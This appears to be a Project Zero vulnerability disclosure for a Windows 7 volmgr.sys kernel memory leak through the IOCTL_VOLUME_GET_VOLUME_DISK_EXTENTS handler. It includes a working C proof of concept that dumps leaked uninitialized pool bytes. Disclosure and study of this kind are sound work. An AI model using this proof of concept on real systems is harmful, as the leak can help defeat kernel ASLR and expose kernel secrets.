/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1154

We have discovered that the handler of the IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS IOCTL in volmgr.sys discloses portions of uninitialized pool memory to user-mode clients, due to output structure alignment holes.

On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:

--- cut ---
00000000: 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
--- cut ---

Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. The output data is returned in a VOLUME_DISK_EXTENTS structure [1], which in turn contains a list of DISK_EXTENT structures [2]. If we map the above shadow bytes to the structure definitions, it turns out that the uninitialized bytes correspond to alignment holes after the NumberOfDiskExtents and DiskNumber fields (both of type DWORD, but there is an 8-byte alignment due to other LARGE_INTEGER fields). The concrete number of leaked bytes depends on the number of entries returned by the IOCTL.

The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools, and would otherwise contain leftover data that was previously stored in that memory region:

--- cut ---
00000000: 01 00 00 00[b3 b3 b3 b3]00 00 00 00[b3 b3 b3 b3]................
00000010: 00 00 50 06 00 00 00 00 00 00 90 39 06 00 00 00 ..P........9....
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  // Open the disk device.
  HANDLE hDisk = CreateFile(L"\\\\.\\C:",
                            0,
                            0,
                            NULL,
                            OPEN_EXISTING,
                            FILE_ATTRIBUTE_NORMAL,
                            NULL);
  if (hDisk == INVALID_HANDLE_VALUE) {
    printf("CreateFile failed, %d\n", GetLastError());
    return 1;
  }
  
  // Obtain the output data, assuming that it will fit into 128 bytes.
  BYTE extents[128];
  DWORD BytesReturned;
  if (!DeviceIoControl(hDisk, IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS, NULL, 0, &extents, sizeof(extents), &BytesReturned, NULL)) {
    printf("DeviceIoControl failed, %d\n", GetLastError());
    CloseHandle(hDisk);
    return 1;
  }

  // Dump the output data on screen and free resources.
  PrintHex(extents, BytesReturned);
  CloseHandle(hDisk);

  return 0;
}